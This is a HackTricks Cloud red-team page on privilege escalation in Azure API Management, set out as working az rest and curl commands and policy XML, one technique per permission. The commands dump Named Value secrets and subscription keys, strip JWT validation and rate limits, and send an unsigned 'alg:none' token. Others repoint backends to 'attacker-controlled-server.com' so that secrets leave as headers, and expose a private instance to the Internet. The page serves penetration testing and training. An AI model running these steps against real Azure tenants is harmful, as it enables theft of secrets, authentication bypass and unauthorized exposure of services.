Az - API Management Privesc
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Microsoft.ApiManagement/service/namedValues/read & Microsoft.ApiManagement/service/namedValues/listValue/action
The attack consists of accessing sensitive secrets stored in Azure API Management Named Values, either by directly retrieving secret values or by abusing permissions to obtain Key Vault–backed secrets through managed identities.
az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>
Microsoft.ApiManagement/service/subscriptions/read & Microsoft.ApiManagement/service/subscriptions/listSecrets/action
For each subscription, the attacker can obtain the subscription keys by using the listSecrets endpoint with the POST method:
az rest --method POST \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"
The response includes the subscription primary key (primaryKey) and secondary key (secondaryKey). With these keys, the attacker can authenticate and access the APIs published through the API Management Gateway:
curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
https://<service-name>.azure-api.net/<api-path>
The attacker can access all APIs and products associated with the subscription. If the subscription has access to sensitive products or APIs, the attacker may obtain confidential information or perform unauthorized operations.
Microsoft.ApiManagement/service/policies/write or Microsoft.ApiManagement/service/apis/policies/write
The attacker first retrieves the current API policy:
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
The attacker can modify the policy in multiple ways depending on their objectives. For example, to disable authentication, if the policy includes JWT token validation, the attacker can remove or comment out that section:
<policies>
<inbound>
<base />
<!-- JWT validation removed by the attacker -->
<!-- <validate-jwt header-name="Authorization" failed-validation-httpcode="401" >
...
</validate-jwt> -->
</inbound>
<backend>
<base />
</backend>
<outbound>
<base />
</outbound>
<on-error>
<base />
</on-error>
</policies>
To remove rate limiting controls and allow denial-of-service attacks, the attacker can remove or comment out quota and rate-limit policies:
<policies>
<inbound>
<base />
<!-- Rate limiting removed by the attacker -->
<!-- <rate-limit calls="100" renewal-period="60" />
<quota-by-key calls="1000" renewal-period="3600" counter-key="@(context.Subscription.Id)" /> -->
</inbound>
...
</policies>
To modify the backend route and redirect traffic to an attacker-controlled server:
<policies>
...
<inbound>
<base />
<set-backend-service base-url="https://attacker-controlled-server.com" />
</inbound>
...
</policies>
The attacker then applies the modified policy. The request body must be a JSON object containing the policy in XML format:
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"format": "rawxml",
"value": "<policies><inbound><base /></inbound><backend><base /></backend><outbound><base /></outbound><on-error><base /></on-error></policies>"
}
}'
JWT Validation Misconfiguration
The attacker needs to know that an API uses JWT token validation and that the policy is misconfigured. Poorly configured JWT validation policies may have require-signed-tokens="false" or require-expiration-time="false", which allows the service to accept unsigned tokens or tokens that never expire.
The attacker creates a malicious JWT token using the none algorithm (unsigned):
# Header: {"alg":"none"}
# Payload: {"sub":"user"}
eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0.
The attacker sends a request to the API using the malicious token:
curl -X GET \
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
https://<apim>.azure-api.net/path
If the policy is misconfigured with require-signed-tokens="false", the service will accept the unsigned token. The attacker can also create a token without an expiration claim if require-expiration-time="false".
Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action
The attacker first checks the current network configuration of the service:
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
The attacker reviews the JSON response to verify the values of publicNetworkAccess and virtualNetworkType. If publicNetworkAccess is set to false or virtualNetworkType is set to Internal, the service is configured for private access.
To expose the service to the Internet, the attacker must change both settings. If the service is running in internal mode (virtualNetworkType: "Internal"), the attacker changes it to None or External and enables public network access. This can be done using the Azure Management API:
az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"publicNetworkAccess": "Enabled",
"virtualNetworkType": "None"
}
}'
Once virtualNetworkType is set to None or External and publicNetworkAccess is enabled, the service and all its APIs become accessible from the Internet, even if they were previously protected behind a private network or private endpoints.
Microsoft.ApiManagement/service/backends/write
The attacker first enumerates the existing backends to identify which one to modify:
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
The attacker retrieves the current configuration of the backend they want to modify:
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
The attacker modifies the backend URL to point to a server under their control. First, they obtain the ETag from the previous response and then update the backend:
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"description": "Backend modified by attacker"
}
}'
Alternatively, the attacker can configure backend headers to exfiltrate Named Values containing secrets. This is done through the backend credentials configuration:
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"credentials": {
"header": {
"X-Secret-Value": ["{{named-value-secret}}"]
}
}
}
}'
With this configuration, Named Values are sent as headers in all requests to the attacker-controlled backend, enabling the exfiltration of sensitive secrets.
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
HackTricks Cloud

